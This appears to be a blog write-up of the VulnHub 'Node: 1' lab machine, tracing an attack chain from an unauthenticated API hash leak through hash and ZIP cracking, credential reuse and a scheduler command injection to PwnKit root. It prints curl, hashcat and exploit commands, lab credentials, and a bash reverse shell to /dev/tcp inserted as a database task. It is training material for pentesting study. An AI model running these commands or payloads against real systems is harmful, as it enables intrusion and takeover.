> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Node: 1 Full Walkthrough — From AngularJS API Leak All the Way to PwnKit
- URL: https://taiwanding.com/en/vulnhub-node-1-writeup/
- Published: 2026-07-11T07:34:49.000Z
- Updated: 2026-07-15T02:50:35.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

> Link: [https://www.vulnhub.com/entry/node-1,252/](https://www.vulnhub.com/entry/node-1,252/?ref=taiwanding.com)  
> Target: [Node: 1](https://www.vulnhub.com/entry/node-1,252/?ref=taiwanding.com) (VulnHub, by rastating, 2017; ported from HackTheBox)  
> Difficulty: Medium Environment: WSL2 Kali + VMware

## Intro: An Attack Chain Spanning Twelve Links

Node is a rare box that crams in every facet a complete pentest should have: from an unauthenticated REST API, all the way through to kernel/pkexec privilege escalation, passing through excessive data exposure, hash cracking, an encrypted ZIP, white-box source review, credential reuse, SSH lateral movement, NoSQL command injection, and SUID binary reversing. It's practically a miniature of an entire penetration test.

This post documents that full chain, including the SUID binary command injection near the end that had me stuck for a long time (the intended path, which I couldn't get to work because of a fiddly `access()` check), and the PwnKit route I ultimately switched to instead.

**Full Kill Chain (spoilers, feel free to skip):**

1. Environment (matching VMware's ens33 against the target's interface name, which rescued this box)
2. Recon → port 3000 AngularJS SPA
3. Read the front-end JS controllers to map out the back-end API
4. Unauthenticated `GET /api/users` leaks every user + the admin hash
5. hashcat cracks the SHA-256 → admin credentials
6. admin login → `GET /api/admin/backup` downloads an encrypted backup
7. Crack the ZIP password → app source code
8. White-box review → MongoDB credentials
9. DB password reused for SSH → mark
10. `/var/scheduler` NoSQL command injection → tom
11. PwnKit (CVE-2021-4034) → root

## 0\. Environment: Why VMware Rescued This Box

This box was originally stuck at the virtualization layer (there's a separate write-up on that). In short: when running it under libvirt/KVM inside WSL2, the target (Ubuntu 16.04, a Debian-family system) hard-wired `ens33` (VMware's usual interface name) in its `/etc/network/interfaces`, while libvirt's e1000 handed it `enp0s3`. The names didn't match → the target never got an IP.

After re-importing it under VMware instead (when the OVF fails compliance, just hit Retry to relax the checks), VMware happened to name the NIC `ens33`, which lined up perfectly with the target's interfaces → it got an IP. On top of that, WSL2 this time had a route to VMware's Host-only segment (VMnet1, `192.168.13.0/24`), so nmap from WSL could scan the target at `192.168.13.128` directly.

## 1\. Recon

```bash
sudo nmap -p- -sV -sC 192.168.13.128

```

| Port | Service                                   | Notes                   |
| ---- | ----------------------------------------- | ----------------------- |
| 22   | OpenSSH 7.2p2 Ubuntu                      | Ubuntu 16.04            |
| 3000 | Node.js (nmap misidentified it as Hadoop) | AngularJS SPA "MyPlace" |

The homepage on port 3000 is an AngularJS single-page app (`ng-app="myplace"`, `data-ng-view`). The attack surface of an SPA lives in its back-end API, and the front end loads a whole pile of controllers:

```html
<script src="assets/js/app/app.js">
<script src="assets/js/app/controllers/login.js">
<script src="assets/js/app/controllers/admin.js">
<script src="assets/js/app/controllers/profile.js">

```

## 2\. Reading the Front-End JS to Map the Back-End API

**The core mindset for attacking an SPA: the front-end JS is the documentation for the back-end API.** No need to guess routes, just read the controllers:

```bash
curl -s http://192.168.13.128:3000/assets/js/app/app.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/admin.js
curl -s http://192.168.13.128:3000/assets/js/app/controllers/profile.js

```

The API endpoints this dug up:

```
POST /api/session/authenticate    login
GET  /api/session                 check login status
GET  /api/admin/backup            admin backup (AdminCtrl)
GET  /api/users/:username         fetch a single user (ProfileCtrl)
GET  /api/users/latest            latest user list (HomeCtrl)

```

## 3\. Unauthenticated API Leaks Every User + Hash

The homepage's `HomeCtrl` calls `/api/users/latest` before you even log in, returning full user objects that include password hashes (excessive data exposure):

```bash
curl -s http://192.168.13.128:3000/api/users/latest

```

But `latest` only returns three `is_admin:false` users and leaves out admin. The key move: **drop the `/latest` and hit `/api/users` directly to get every user back** (an even more serious unauthenticated leak):

```bash
curl -s http://192.168.13.128:3000/api/users

```

And admin appears:

```json
{"username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}

```

## 4\. Cracking the Hash

64 hex characters = SHA-256 (unsalted). WSL2's hashcat couldn't find a CUDA GPU, so I fell back to CPU (`-D 1`):

```bash
hashcat -m 1400 -D 1 hashes.txt /usr/share/wordlists/rockyou.txt

```

Cracked:

```
tom  : spongebob
mark : snowflake
myP14ceAdm1nAcc0uNT : manchester

```

(SSH reuse test: none of these web passwords are system-account passwords, so both su and ssh failed.)

## 5\. Downloading and Unpacking the Encrypted Backup

Log in as admin to grab a session, then hit `/api/admin/backup`:

```bash
curl -s -c admin_cookies.txt -X POST http://192.168.13.128:3000/api/session/authenticate \
  -H "Content-Type: application/json" \
  -d '{"username":"myP14ceAdm1nAcc0uNT","password":"manchester"}'

curl -s -b admin_cookies.txt http://192.168.13.128:3000/api/admin/backup -o myplace.b64

```

The response is a Base64-encoded encrypted ZIP. Decode it and crack the ZIP password:

```bash
base64 -d myplace.b64 > myplace.backup
file myplace.backup            # Zip archive (encrypted)
# Crack the password: try known-password reuse first, then zip2john + john
unzip -P magicword myplace.backup -d myplace_src

```

The ZIP password is `magicword` (later confirmed by reversing the backup binary).

## 6\. White-Box Review Yields MongoDB Credentials

The unpacked app source, `app.js`, leaks two crucial things:

```javascript
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace...';   // DB credentials!
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);  // backup calls a custom SUID binary

```

`mark:5AYRft73VtFpc84k` is mark's MongoDB password (different from mark's web password `snowflake`).

## 7\. DB Password Reused for SSH → System Foothold

**Developers often make the DB account password the same as the system account password.** Try the DB mark password over SSH:

```bash
ssh mark@192.168.13.128        # password: 5AYRft73VtFpc84k

```

Success, a system shell as `mark@node`.

```
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ sudo -l
# mark may not run sudo

```

## 8\. NoSQL Command Injection to Move Laterally → tom

`ps aux` reveals a scheduler running as tom:

```
tom  /usr/bin/node /var/scheduler/app.js

```

Read its source (world-readable):

```javascript
const exec = require('child_process').exec;
const url  = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler...';   // you have these credentials!

setInterval(function () {
  db.collection('tasks').find().toArray(function (error, docs) {
    docs.forEach(function (doc) {
      exec(doc.cmd);                                       // execs the cmd straight from the DB, zero filtering!
      db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
    });
  });
}, 30000);                                                 // every 30 seconds

```

**The attack chain:** the scheduler runs as tom, and every 30 seconds it reads tasks from MongoDB's `scheduler` database and runs `exec(doc.cmd)`. Since you hold this DB's credentials → insert a malicious task, and within 30 seconds the scheduler executes it as tom.

```bash
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
> db.tasks.insert({ cmd: "bash -c 'bash -i >& /dev/tcp/192.168.13.1/4444 0>&1'" })

```

> Networking detail: the target (VMware) connects back from the Windows VMnet1 address `192.168.13.1`, so the reverse shell listener has to be opened in **Windows PowerShell** (not WSL) for it to catch the connection.

30 seconds later, the tom shell pops back.

```
tom@node:/$ groups
tom adm cdrom sudo dip plugdev lxd lpadmin sambashare admin

```

tom is in the `admin` group (able to run the SUID binary below) and also in the sudo group (but there's no password, so sudo is a dead end).

## 9\. Switching to PwnKit (CVE-2021-4034) → root

Take the reliable path that doesn't depend on that binary: PwnKit. This box is a near-perfect fit:

```bash
uname -a                        # Linux node 4.4.0-93-generic Ubuntu 16.04
ls -la /usr/bin/pkexec          # -rwsr-xr-x (SUID root, 2016 build, unpatched against the 2022 CVE)
which gcc cc                    # both present (can compile right on the target)

```

How PwnKit works (pkexec's argv out-of-bounds + GCONV\_PATH loading a malicious gconv module, see the Temple of Doom post for details). Since this box has gcc, I just used a ready-made C PoC (`berdav/CVE-2021-4034`), a single `make` and it's done.

**Transferring the file (the target can't reach the internet):** use scp over the SSH channel (sidestepping the WSL/Windows address issues with an http server):

```bash
# WSL (where the exploit is already cloned)
scp /tmp/pwnkit.tar.gz mark@192.168.13.128:/tmp/

```

**Compile and run (both the home directory and /tmp are restricted, so use /dev/shm):**

```bash
mkdir -p /dev/shm/pwn
tar xzf /tmp/pwnkit.tar.gz -C /dev/shm/pwn
cd /dev/shm/pwn/CVE-2021-4034
make
./cve-2021-4034

```

Result:

```
# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
# cat /root/root.txt
Redacted
```

## Methodology You Can Take With You

- **Attacking AngularJS/SPAs**: the front-end JS controllers are the documentation for the back-end API. Read them to dig out endpoints instead of blindly brute-forcing routes.
- **API excessive data exposure**: `/api/users` returns full objects including hashes without authentication. Trying to "strip the path modifier (latest)" often gets you more (every user).
- **Layers of credential relay**: web hash → crack → encrypted backup → ZIP password → DB credentials from source review → SSH reuse. Each layer's credentials may or may not carry over to the next (the web passwords weren't reused on the system, but the DB password was reused for SSH).
- **White-box review beats blind attacks**: once you have the source, reading `app.js` for the DB connection, SUID calls, and secrets is far faster than black-box guessing.
- **NoSQL/scheduler command injection**: `exec(doc.cmd)` reading commands from the database + you holding the DB credentials = arbitrary command execution as that service. Look for services that run as a high-privilege user and read input from a source you can control.
- **File transfer and writable directories**: when the target can't reach out, use scp over the SSH channel; when the home directory and /tmp are restricted, use `/dev/shm` (tmpfs, usually 777) to compile and run.

*This is an educational write-up of the Node: 1 box; everything was done in an isolated lab environment. Never run any of this against systems you're not authorized to test.*